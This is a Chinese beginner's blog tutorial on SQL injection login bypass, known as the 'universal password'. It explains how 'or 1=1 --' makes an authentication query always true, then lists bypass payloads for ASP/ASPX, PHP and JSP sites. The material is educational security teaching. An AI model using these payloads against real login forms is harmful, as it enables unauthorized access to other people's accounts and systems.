「SQL注入入门篇」SQL注入(二)

为什么我是web安全菜鸡啊!!!

Posted by 许大仙 on June 25, 2016

OR 漏洞简述

该漏洞又称万能密码,效果是通过构造一个恒为真的语句来绕过用户名密码检测,不通过密码即可登录进去

漏洞原理

由于程序对用户输入没有进行过滤,我们可以通过构造恒为真的语句来控制查询。

例如在我们输入用户名为 admin 密码为 123 时,SQL 查询语句为

SELECT * FROM admin WHERE Name='admin' and passWord='123'

而我们通过构造语句在用户名处输入 'or 1=1 -- 密码为任意值如 111此时查询语句变为

SELECT * FROM admin WHERE Name=''or 1=1 --' and passWord='111'

此时的效果是用户名为 null,而后面加入了一个恒为真的语句 1=1 此时用户名部分是为真的。--表示注释掉后面所有的内容,因此在 -- 后面的内容都失效了,密码不会进行判断。

原本程序设定应该是当这条 SQL 查询语句查询到用户名密码均正确时返回真,返回结果为真时登陆进界面。此时由于构造了一个为真的语句,我们便可以绕过用户名密码进行登陆。

判断方法

在输入框输入单引号进行登陆,若有报错说明没有对单引号进行过滤,存在此漏洞

不同类型程序的万能密码

应该注意的是不同类型的数据库程序所使用的语法不同,以下内容转自 chengker 的博客

ASP ASPX 万能密码

  • “or”a”=”a
  • ‘)or(‘a’=’a
  • or 1=1–
  • ‘or 1=1–
  • a’or’ 1=1–
  • “or 1=1–
  • ‘or’a’=’a
  • “or”=”a’=’a
  • ‘or’’=’
  • ‘or’=’or’
  • 1 or ‘1’=’1’=1
  • 1 or ‘1’=’1’ or 1=1
  • ‘OR 1=1%00
  • “or 1=1%00
  • ‘xor
  • 用户名’UNION Select 1,1,1 FROM admin Where’’=’ (替换表名 admin) 密码 1
  • ..admin’or’a’=’a 密码随便

PHP 万能密码

  • ‘or 1=1/*
  • User: something
  • Pass: ‘or’1’=’1

JSP 万能密码

  • 1’or’1’=’1
  • admin’ or 1=1/*